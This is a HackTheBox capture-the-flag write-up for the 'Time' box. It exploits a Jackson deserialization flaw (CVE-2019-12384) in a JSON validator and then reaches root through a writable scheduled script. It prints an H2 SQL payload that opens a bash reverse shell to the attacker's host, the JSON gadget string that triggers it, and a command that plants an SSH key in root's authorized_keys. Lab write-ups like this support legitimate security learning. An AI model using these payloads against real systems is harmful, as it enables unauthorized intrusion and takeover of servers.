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[HTB] Time - Writeup

Preface: Time is a medium box on HackTheBox.eu. With an basic nmap scan we discovered two ports. On the port 80, http we find an JSON beautifier and validator. The validation option seems like a beta version and we are able to find a vulnerability to let us execute arbitrary code. Once we are on the box we find a bash script which is owned by our user. This script is scheduled and will be executed with root privileges. We will drop our ssh key to the .authorized_keys of the user root and are able to login as root. Hack the box infocard time

Information Gathering

As always we start with an nmap scan for open ports and services:

$ nmap -sV -sC -oA nmap/time
# Nmap 7.91 scan initiated Tue Nov  3 07:10:55 2020 as: nmap -sV -sC -oA nmap/time
Nmap scan report for
Host is up (0.10s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov  3 07:11:17 2020 -- 1 IP address (1 host up) scanned in 21.72 seconds

We got two open ports. The interesting one is for us the port 80, http. Nmap tells us that there is a JSON parser. So let's see what we can do there. htb-time-port-80

There are two options. One to beautify and one to validate a JSON string. The second options say's that this is a beta. Maybe we can find a vulnerability in it. I try a simple string to check if the validate function works. But there occures an unhandled error message. htb-time-validate-error

I extracted the error: Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'qwertty': was expecting ('true', 'false' or 'null')

The error message tells us there is a Java application in the background using the fasterxml library. A quick search with searchsploit gives us nothing. So let's try google. After some researching I found this link which is related to the CVE-2019-12384.



The CVE-2019-12384 allows an attacker to block the logback-core class from a polymorphic deserialization. Depending on the content, remote code execution is possible. So this is what we were looking for.

As in the link descriped we need a inject.sql. We use the one from the link. But I changed the payload to create a reverse shell.

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
CALL SHELLEXEC('bash -i >& /dev/tcp/ 0>&1')

As always I start a python http server and my nc to catch the reverse shell. The last step for this CVE is the payload for the validator beta. I will also use the JSON payload from the link above. But I changed the localhost to my IP. ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ''"}] htb-time-validate-payload

Now it is time to check the nc listener

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 39252
bash: cannot set terminal process group (856): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ whoami && hostname
whoami && hostname

Yes! We catched the reverse shell!

SHELL: pericles


As always we start with LinPEAS on the box. I found a odd file called timer_backup.sh which is owned by our user.

[+] .sh files in path
You own the script: /usr/bin/timer_backup.sh

Let's see what this bash script is doing:

$ cat /usr/bin/timer_backup.sh
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

Okay, the script create's a backup of /var/www/html and move it to the /root home directory. This indicates that the we have write access to the /root directory. So we could drop an ssh key to the authorized_keys and then login as root.

First we have to create a new ssh key.

$ ssh-keygen -f ~/htb/boxes/time/id_rsa               
Generating public/private rsa key pair.                                                
Enter passphrase (empty for no passphrase):                           
Enter same passphrase again:                                                           
Your identification has been saved in /home/qwertty/htb/boxes/time/id_rsa
Your public key has been saved in /home/qwertty/htb/boxes/time/id_rsa.pub
The key fingerprint is:                                                         

SHA256:Sa5EbkKsmU4t6ZYUYHxdMAqw035n0R1A57kbglEMKV4 qwertty@eagle

Now we can add the following line to the timer_backup.sh:

echo <SSH_PUB_KEY> >> /root/.ssh/authorized\_keys

Last but not least we have to check if we can login as root:

$ ssh -i id_rsa root@
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)

Last login: Tue Apr  6 05:58:43 2021 from
root@time:~# whoami && hostname

Yes, we gain root access.

SHELL: root

Thanks for reading! I hope you enjoyed it!